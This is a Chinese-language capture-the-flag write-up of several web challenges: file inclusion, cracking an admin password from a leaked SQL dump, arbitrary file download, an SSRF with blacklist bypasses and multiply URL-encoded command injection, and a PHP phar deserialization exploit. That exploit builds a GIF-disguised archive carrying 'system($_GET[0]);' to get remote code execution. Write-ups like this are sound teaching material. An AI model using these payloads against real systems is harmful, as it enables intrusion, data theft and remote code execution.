半决赛
AliceWebsite
给了源码,可以看到index.php里有文件包含
尝试读取flag
成功获取flag
faka
进来是个卡密平台,尝试访问后台
需要登陆,题目给了个sql文件,可以直接找到admin的密码,是md5加密的,得到密码admincccbbb123
成功登陆后台
找到网站有下载的地方,尝试任意文件下载
经过测试,flag在/flag.txt,直接获取flag
BabyJS
这题给了源码,主要考点是ssrf
核心代码
通过post去本地请求get
post有个过滤var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];
我们只需要使用127.1就可以绕过,
也是可以使用进制绕过
可以是十六进制,八进制等。
115.239.210.26 >>> 16373751032
首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
然后把 73efd21a 这十六进制一起转换成8进制
记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x
http://0177.0.0.1/
post发送url=http://127.1:3000/debug?url=http://123
,成功跳转到get
我们可以使用exec方法,把flag写进/tmp/log,然后读取出flag
想的得到的是
echo 'http://123'cp /flag /tmp/log'>>/tmp/log'
发现空格被编码了,单引号被过滤了,尝试把单引号编码,绕过空格
调试发现post请求进去会url解码一次,然后本机get又会url解码一次
并且url.parse源码,如果加了@前面的值会被二次解码
case CHAR_AT:
// At this point, either we have an explicit point where the
// auth portion cannot go past, or the last @ char is the decider.
atSign = i;
nonHost = -1;
break;
start = 0;
if (atSign !== -1) {
this.auth = decodeURIComponent(rest.slice(0, atSign));
start = atSign + 1;
}
单引号需要编码三次
url=http://127.1:3000/debug?url=http://%252527@cp$IFS/flag$IFS/tmp/log;
调试发现@后面的值会被加斜杆,并且后面的还需要注释才能闭合,#不会被过滤,编码两次即可
url=http://127.1:3000/debug?url=http://%252527@cp$IFS/flag$IFS/tmp/log;%2523
发现成功得到自己想要的值
直接获取flag
总决赛
Game Exp
给了源码,可以很明显的看到register.php里的eval,其他没发现可利用的点
<?php
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
if (isset($_POST['username'])){
include_once "../sqlhelper.php";
include_once "../user.php";
$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);
$mysql = new sqlhelper();
$password = md5($password);
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp); // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb
&& in_array($extension, $allowedExts))
{
$filename = $username.".".$extension;
if (file_exists($filename))
{
echo "<script>alert('文件已经存在');</script>";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
$sql = "INSERT INTO user (username, password,avatar ) VALUES ('$username','$password','$filename')";
$res = $mysql->execute_dml($sql);
if ($res){
echo "<script>alert('注册成功');window.location='index.php';</script>";
}else{
echo "<script>alert('注册失败');</script>";
}
}
}
else
{
echo "<script>alert('非法文件');</script>";
}
}
里面有file_exists,应该是phar反序列化,构造
<?php
class AnyClass{
var $output = 'system($_GET[0]);';
}
$o = new AnyClass();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>'); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
把生成的phar.phar改成phar.gif,然后上传
$filename = $username.".".$extension
,图片名字为注册用户名加后缀
上传后再注册,用户名为phar://./上次上传用户名
读取flag